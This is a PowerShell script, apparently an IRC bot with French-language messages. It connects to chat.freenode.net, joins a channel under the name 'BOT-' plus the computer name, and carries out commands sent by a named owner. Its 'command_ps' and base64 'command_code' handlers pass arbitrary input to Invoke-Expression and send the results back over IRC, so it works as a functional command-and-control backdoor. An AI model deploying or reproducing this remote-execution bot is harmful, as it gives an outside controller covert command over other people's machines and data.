sender_irc.ps1

$server = "chat.freenode.net"
$port   = 6667
$bot = "BOT-" + $env:COMPUTERNAME
$channel = "#SCRIPT-POWERSHELL"
$owner = "The-oo"
$date = Get-Date

$color = "green","yellow","magenta"

function object_to_multistring{
     param($rawsingleString)
     $fulltext = @()
     $tata = ""
     for ($i = 0; $i -lt $rawsingleString.length; $i++){
         if([int][char]$rawsingleString[$i]-eq 13){
             $fulltext += $tata
             $tata = ''
         }
         elseif([int][char]$rawsingleString[$i]-eq 10){}
         else{
             $tata +=$rawsingleString[$i]
         }
     }
     $fulltext += $tata
     return $fulltext
}

# Connect-session
$TCPClient = new-object Net.Sockets.TcpClient
$TCPClient.Connect($server, $port)

[Net.Sockets.NetworkStream]$NetStream = $TCPClient.GetStream()
[IO.StreamWriter]$writer = new-object IO.StreamWriter($NetStream,[Text.Encoding]::ASCII)
[IO.StreamReader]$reader = new-object IO.StreamReader($NetStream,[Text.Encoding]::ASCII)
$writer.AutoFlush = $true

if($TCPClient.Connected){
    sleep(3)
    $writer.WriteLine("NICK " + $bot)
    sleep(0.1)
    $writer.WriteLine("USER " + $bot + " 0 * :" + $bot)
    sleep(0.1)
    $writer.WriteLine("JOIN " + $channel)
    sleep(0.1)
    $writer.WriteLine("PRIVMSG " + $owner + " :Bot demarre le " + $date)
    sleep(0.1)
    $writer.WriteLine("PRIVMSG " + $channel + " :J'ai bien rejoins le channel")
    sleep(0.1)
    $writer.Flush()
}
else{
    write-host "Problème de connection"    
}

$read = $reader.ReadLine()
$hostname = $read.Split(" ")[0]

do {
    $read = $reader.ReadLine();
    write-host $read 
   
    if($read -like '*End of /MOTD command*') {
        sleep 1
        $pass = $true
    } 

} until($pass)

do {
    $read = $reader.ReadLine();
    write-host $read  

    $user = $read.Split("!")[0]

    if(($read.Split("!")[0]) -eq ':' + $owner) {
        if ($read -like '*stop_powershell*') {
            $writer.WriteLine("QUIT")
            $read = $reader.ReadLine();
            write-host $read
            break
        }
        if ($read -like '*command_irc*') {
            $value = $read -split "command_irc "
            Write-host $value[1]
            $writer.WriteLine($value[1])
        }
        if ($read -like '*:command_ps*') {
            $value = $read -split "command_ps "
            $command = $value[1]

            try {
                $result = Invoke-Expression $command
                $result_string = (($result | Format-list | Out-String) -replace '(?m)^\s*?\n') -replace (":","=")

                [System.Collections.ArrayList]$multistring = object_to_multistring -rawsingleString $result_string
                
                if (($multistring[($multistring.Count-1)].length) -eq 0) {
                    $multistring.RemoveAt($multistring.Count-1)
                }

                foreach ($line in $multistring) {
                    $writer.WriteLine("PRIVMSG " + $owner + " :" + $line)
                    Write-Host $line -Fore ($color | Get-Random)
                    Start-Sleep -Milliseconds 150
                }
            } catch {
                $writer.WriteLine("PRIVMSG " + $owner + " :La commande suivante a echoue --> " + $command)
            }

        }
        if ($read -like '*:command_code*') {
            $value = $read -split "command_code "
            $code = $value[1]

            try {
                $decoded = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($code))
                
                $result = Invoke-Expression $decoded
                $writer.WriteLine("PRIVMSG " + $owner + " :" + $result)
            } catch {
                $writer.WriteLine("PRIVMSG " + $owner + " :Le code suivante a echoue --> " + $code)
            }

        }
    }

    if ($read -like '*' + $hostname + '*') {
        $writer.WriteLine("PRIVMSG " + $owner + " :" + $read)
        Start-Sleep -Milliseconds 150
    }
    if ($read -eq 'PING ' + $hostname) {
        $writer.WriteLine("PONG " + $hostname)
        write-host pong
    }

} until($read -eq "")

$TCPClient.Close();

Remove-Variable pass